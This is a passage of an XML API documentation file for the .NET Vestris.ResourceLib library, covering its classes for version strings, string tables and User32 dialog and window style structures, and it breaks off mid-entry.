name=\"M:Vestris.ResourceLib.ResourceUtil.FlagsToList``1(System.UInt32)\">\n            <summary>\n            Get a collection of flags from a flag value.\n            </summary>\n            <typeparam name=\"T\">Flag collection type.</typeparam>\n            <param name=\"flagValue\">Flag value.</param>\n            <returns>Collection of flags.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.FlagsToString``1(System.UInt32)\">\n            <summary>\n            Get a string representation of flags.\n            </summary>\n            <typeparam name=\"T\">Flag collection type.</typeparam>\n            <param name=\"flagValue\">Flag vlaue</param>\n            <returns>String representation of flags in the f1 | ... | fn format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringFileInfo\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. \n            It contains version information that can be displayed for a particular language and code page.\n            http://msdn.microsoft.com/en-us/library/aa908808.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Strings\">\n            <summary>\n            Resource strings.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.#ctor\">\n            <summary>\n            A new string file-version resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string file-version resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string file-version resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read an existing string file-version resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string file-version resource.</param>\n            <returns>Pointer to the end of the string file-version resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the string file-version resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Default\">\n            <summary>\n            Default (first) string table.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Item(System.String)\">\n            <summary>\n            Indexed string table.\n            </summary>\n            <param name=\"key\">Key.</param>\n            <returns>A string table at a given index.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.ToString(System.Int32)\">\n            <summary>\n            String representation of StringFileInfo.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String in the StringFileInfo format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringResource\">\n            <summary>\n            A string, RT_STRING resource.\n            Each string resource block has 16 strings, each represented as an ordered pair \n            (length, text). Length is a WORD that specifies the size, in terms of the number of characters, \n            in the text that follows. Text follows length and contains the string in Unicode without the \n            NULL terminating character. There may be no characters in text, in which case length is zero.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.Strings\">\n            <summary>\n            String collection in this resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.Item(System.UInt16)\">\n            <summary>\n            Returns a string of a given Id.\n            </summary>\n            <param name=\"id\">String Id.</param>\n            <returns>A string of a given Id.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor\">\n            <summary>\n            A new string resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(Vestris.ResourceLib.ResourceId)\">\n            <summary>\n            A new string resource of a given block id.\n            </summary>\n            <param name=\"blockId\">Block id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(System.UInt16)\">\n            <summary>\n            A new string resource of a given block id.\n            </summary>\n            <param name=\"blockId\">Block id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing string resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.GetBlockId(System.Int32)\">\n            <summary>\n            A string with ID, stringId, is located in the block with ID given by the following formula.\n            http://support.microsoft.com/kb/q196774/\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.BlockId\">\n            <summary>\n            String table block id.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the strings.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the string table.</param>\n            <returns>Address of the end of the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.ToString\">\n            <summary>\n            String representation of the strings resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringTable\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It contains language \n            and code page formatting information for the strings. A code page is an ordered character set.\n            See http://msdn.microsoft.com/en-us/library/aa909192.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.Strings\">\n            <summary>\n            Resource strings.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor\">\n            <summary>\n            A new string table.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor(System.String)\">\n            <summary>\n            A new string table.\n            </summary>\n            <param name=\"key\">String table key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string table.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the table.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.Read(System.IntPtr)\">\n            <summary>\n            Read a string table.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the string table.</param>\n            <returns>Pointer to the end of the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the string table to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>Last unpadded position.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.LanguageID\">\n            <summary>\n            The four most significant digits of the key represent the language identifier.\n            Each Microsoft Standard Language identifier contains two parts: the low-order 10 bits \n            specify the major language, and the high-order 6 bits specify the sublanguage.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.CodePage\">\n            <summary>\n            The four least significant digits of the key represent the code page for which the data is formatted.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.Item(System.String)\">\n            <summary>\n            Returns an entry within the string table.\n            </summary>\n            <param name=\"key\">Key.</param>\n            <returns>An entry within the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.ToString(System.Int32)\">\n            <summary>\n            String representation of the string table.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation of the strings table.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringTableEntry\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It contains a string \n            that describes a specific aspect of a file, such as a file's version, its copyright notices, \n            or its trademarks.\n            http://msdn.microsoft.com/en-us/library/aa909025.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.StringTableEntry._value\">\n            <summary>\n            The value is always stored double-null-terminated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.StringTableEntry.ConsiderPaddingForLength\">\n            <summary>\n            When set to true the length in the header will also contain the padding bytes when writing to a stream.\n            The MSDN reference (http://www.webcitation.org/6zBLYbvww) does not clarify which variant is 'right'.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Header\">\n            <summary>\n            String resource header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Key\">\n            <summary>\n            Key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.StringValue\">\n            <summary>\n            String value (removing the double-null-terminator).\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Value\">\n            <summary>\n            Value.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.#ctor(System.String)\">\n            <summary>\n            A new string resource.\n            </summary>\n            <param name=\"key\">Key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.Read(System.IntPtr)\">\n            <summary>\n            Read a string resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write a string resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32\">\n            <summary>\n            User32.dll functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ICONINFO\">\n            <summary>\n            Contains information about an icon or a cursor. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.IsIcon\">\n            <summary>\n            Specifies whether this structure defines an icon or a cursor. \n            A value of TRUE specifies an icon; FALSE specifies a cursor. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.xHotspot\">\n            <summary>\n            Specifies the x-coordinate of a cursor's hot spot. If this structure defines an icon, the hot spot is \n            always in the center of the icon, and this member is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.yHotspot\">\n            <summary>\n            Specifies the y-coordinate of the cursor's hot spot. If this structure defines an icon, the hot spot \n            is always in the center of the icon, and this member is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.MaskBitmap\">\n            <summary>\n            Specifies the icon bitmask bitmap. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.ColorBitmap\">\n            <summary>\n            Handle to the icon color bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.User32.GetDC(System.IntPtr)\">\n            <summary>\n            Retrieve a handle to a device context (DC) for the client area of a specified window or for the entire screen. \n            </summary>\n            <param name=\"hWnd\">A handle to the window whose DC is to be retrieved. If this value is NULL, GetDC retrieves the DC for the entire screen.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the DC for the specified window's client area. \n            If the function fails, the return value is NULL.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.User32.ReleaseDC(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Releases a device context (DC), freeing it for use by other applications.\n            </summary>\n            <param name=\"hWnd\">A handle to the window whose DC is to be released.</param>\n            <param name=\"hDC\">A handle to the DC to be released.</param>\n            <returns>\n            The return value indicates whether the DC was released. If the DC was released, the return value is 1.\n            If the DC was not released, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGTEMPLATE\">\n            <summary>\n            The DIALOGTEMPLATE structure defines the dimensions and style of a dialog box. \n            This structure, always the first in a standard template for a dialog box, \n            also specifies the number of controls in the dialog box and therefore specifies \n            the number of subsequent DIALOGITEMTEMPLATE structures in the template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.dwExtendedStyle\">\n            <summary>\n            Extended styles for a window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cdit\">\n            <summary>\n            Specifies the number of items in the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE\">\n            <summary>\n            The DIALOGITEMTEMPLATE structure defines the dimensions and style of a control in a dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.style\">\n            <summary>\n            Specifies the style of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.dwExtendedStyle\">\n            <summary>\n            Extended styles for a window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.id\">\n            <summary>\n            Specifies the control identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE\">\n            <summary>\n            An extended dialog box template begins with a DIALOGEXTEMPLATE header that describes\n            the dialog box and specifies the number of controls in the dialog box. For each \n            control in a dialog box, an extended dialog box template has a block of data that\n            uses the DIALOGEXITEMTEMPLATE format to describe the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.dlgVer\">\n            <summary>\n            Specifies the version number of the extended dialog box template. This member must be 1.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.signature\">\n            <summary>\n            Indicates whether a template is an extended dialog box template. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.helpID\">\n            <summary>\n            Specifies the help context identifier for the dialog box window. When the system\n            sends a WM_HELP message, it passes this value in the wContextId member of the \n            HELPINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.exStyle\">\n            <summary>\n            Specifies extended windows styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cDlgItems\">\n            <summary>\n            Specifies the number of controls in the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE\">\n            <summary>\n            A control entry in an extended dialog template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.helpID\">\n            <summary>\n            Specifies the help context identifier for the dialog box window. When the system\n            sends a WM_HELP message, it passes this value in the wContextId member of the \n            HELPINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.exStyle\">\n            <summary>\n            Specifies extended windows styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.id\">\n            <summary>\n            Specifies the control identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.WindowStyles\">\n            <summary>\n            Window styles.\n            http://msdn.microsoft.com/en-us/library/ms632600(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_OVERLAPPED\">\n            <summary>\n            Creates an overlapped window. An overlapped window has a title bar and \n            a border. Same as the WS_TILED style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_POPUP\">\n            <summary>\n            Creates a pop-up window. This style cannot be used with the WS_CHILD style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CHILD\">\n            <summary>\n            Creates a child window. A window with this style cannot have\n            a menu bar. This style cannot be used with the WS_POPUP style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_MINIMIZE\">\n            <summary>\n            Creates a window that is initially minimized. Same as the WS_ICONIC style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_VISIBLE\">\n            <summary>\n            Creates a window that is initially visible.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_DISABLED\">\n            <summary>\n            Creates a window that is initially disabled. A disabled window cannot receive \n            input from the user.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CLIPSIBLINGS\">\n            <summary>\n            Clips child windows relative to each other; that is, when a particular\n            child window receives a WM_PAINT message, the WS_CLIPSIBLINGS style clips\n            all other overlapping child windows out of the region of the child window \n            to be updated. If WS_CLIPSIBLINGS is not specified and child windows overlap,\n            it is possible, when drawing within the client area of a child window, to draw\n            within the client area of a neighboring child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CLIPCHILDREN\">\n            <summary>\n            Excludes the area occupied by child windows when drawing occurs \n            within the parent window. This style is used when creating the parent window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_MAXIMIZE\">\n            <summary>\n            Creates a window that is initially maximized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CAPTION\">\n            <summary>\n            Creates a window that has a title bar (includes the WS_BORDER style).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_BORDER\">\n            <summary>\n            Creates a window that has a thin-line border.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_DLGFRAME\">\n            <summary>\n            Creates a window that has a border of a style typically used with dialog \n            boxes. A window with this style cannot have a title bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_VSCROLL\">\n            <summary>\n            Creates a window that has a vertical scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_HSCROLL\">\n            <summary>\n            Creates a window that has a horizontal scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_SYSMENU\">\n            <summary>\n            Creates a window that has a window menu on its title bar. The WS_CAPTION \n            style must also be specified.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_THICKFRAME\">\n            <summary>\n            Creates a window that has a sizing border. Same as the WS_SIZEBOX style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_GROUP\">\n            <summary>\n            Specifies the first control of a group of controls. The group consists of this\n            first control and all controls defined after it, up to the next control with \n            the WS_GROUP style. The first control in each group usually has the WS_TABSTOP\n            style so that the user can move from group to group. The user can subsequently\n            change the keyboard focus from one control in the group to the next control in \n            the group by using the direction keys. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_TABSTOP\">\n            <summary>\n            Specifies a control that can receive the keyboard focus when the user presses \n            the TAB key. Pressing the TAB key changes the keyboard focus to the next \n            control with the WS_TABSTOP style. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DialogStyles\">\n            <summary>\n            Dialog styles.\n            http://msdn.microsoft.com/en-us/library/ms644994(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_ABSALIGN\">\n            <summary>\n            Specifying this style in the dialog template tells Windows that the dtX and dtY values\n            of the DIALOGTEMPLATE struct are relative to the screen origin, not the owner of the \n            dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SYSMODAL\">\n            <summary>\n            Create a dialog box with the WS_EX_TOPMOST flag. This flag cannot be combined with the \n            DS_CONTROL style. This flag is obsolete and is included for compatibility with 16-bit \n            versions of Windows. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_LOCALEDIT\">\n            <summary>\n            Applies to 16-bit applications only. This style directs edit controls in the dialog\n            box to allocate memory from the application data segment. Otherwise, edit controls\n            allocate storage from a global memory object.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SETFONT\">\n            <summary>\n            Indicates that the header of the dialog box template contains additional data specifying\n            the font to use for text in the client area and controls of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_MODALFRAME\">\n            <summary>\n            Creates a dialog box with a modal dialog-box frame that can be combined with a title\n            bar and window menu by specifying the WS_CAPTION and WS_SYSMENU styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_NOIDLEMSG\">\n            <summary>\n            Suppresses WM_ENTERIDLE messages that the system would otherwise send to the owner of the\n            dialog box while the dialog box is displayed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SETFOREGROUND\">\n            <summary>\n            Causes the system to use the SetForegroundWindow function to bring the dialog \n            box to the foreground. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_3DLOOK\">\n            <summary>\n            Gives the dialog box a nonbold font and draws three-dimensional borders around\n            control windows in the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_FIXEDSYS\">\n            <summary>\n            Causes the dialog box to use the SYSTEM_FIXED_FONT instead of the default SYSTEM_FONT. \n            This is a monospace font compatible with the System font in 16-bit versions of Windows\n            earlier than 3.0.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_NOFAILCREATE\">\n            <summary>\n            Creates the dialog box even if errors occur — for example, if a child window cannot be \n            created or if the system cannot create a special data segment for an edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CONTROL\">\n            <summary>\n            Creates a dialog box that works well as a child window of another dialog box,\n            much like a page in a property sheet. This style allows the user to tab among\n            the control windows of a child dialog box, use its accelerator keys, and so on.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CENTER\">\n            <summary>\n            Centers the dialog box in the working area; that is, the area not obscured by the tray.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CENTERMOUSE\">\n            <summary>\n            Centers the dialog box on the mouse cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CONTEXTHELP\">\n            <summary>\n            Includes a question mark in the title bar of the dialog box. When the user clicks the \n            question mark, the cursor changes to a question mark with a pointer. If the user then \n            clicks a control in the dialog box, the control receives a WM_HELP message. The control\n            should pass the message to the dialog box procedure, which should call the function \n            using the HELP_WM_HELP command. The help application displays a pop-up window that \n            typically contains help for the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SHELLFONT\">\n            <summary>\n            Indicates that the dialog box should use the system font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_USEPIXELS\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ExtendedDialogStyles\">\n            <summary>\n            Extended dialog styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_DLGMODALFRAME\">\n            <summary>\n            Creates a window that has a double border; the window can, optionally, be created \n            with a title bar by specifying the WS_CAPTION style in the dwStyle parameter.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOPARENTNOTIFY\">\n            <summary>\n            Specifies that a child window created with this style does not send the WM_PARENTNOTIFY \n            message to its parent window when it is created or destroyed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TOPMOST\">\n            <summary>\n            Specifies that a window created with this style should be placed above all non-topmost \n            windows and should stay above them, even when the window is deactivated. To add or remove\n            this style, use the SetWindowPos function.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_ACCEPTFILES\">\n            <summary>\n            Specifies that a window created with this style accepts drag-drop files.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TRANSPARENT\">\n            <summary>\n            Specifies that a window created with this style should not be painted until siblings beneath\n            the window (that were created by the same thread) have been painted. The window appears \n            transparent because the bits of underlying sibling windows have already been painted.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_MDICHILD\">\n            <summary>\n            Creates a multiple-document interface (MDI) child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TOOLWINDOW\">\n            <summary>\n            Creates a tool window; that is, a window intended to be used as a floating toolbar. \n            A tool window has a title bar that is shorter than a normal title bar, and the\n            window title is drawn using a smaller font. A tool window does not appear in \n            the taskbar or in the dialog that appears when the user presses ALT+TAB. If a \n            tool window has a system menu, its icon is not displayed on the title bar. However, \n            you can display the system menu by right-clicking or by typing ALT+SPACE. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_WINDOWEDGE\">\n            <summary>\n            Specifies that a window has a border with a raised edge.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CLIENTEDGE\">\n            <summary>\n            Specifies that a window has a border with a sunken edge.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CONTEXTHELP\">\n            <summary>\n            Includes a question mark in the title bar of the window. When the user clicks the question mark,\n            the cursor changes to a question mark with a pointer. If the user then clicks a child window,\n            the child receives a WM_HELP message. The child window should pass the message to the parent\n            window procedure, which should call the WinHelp function using the HELP_WM_HELP command. The \n            Help application displays a pop-up window that typically contains help for the child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RIGHT\">\n            <summary>\n            The window has generic \"right-aligned\" properties. This depends on the window class. This style has \n            an effect only if the shell language is Hebrew, Arabic, or another language that supports reading-order\n            alignment; otherwise, the style is ignored. Using the WS_EX_RIGHT style for static or edit controls \n            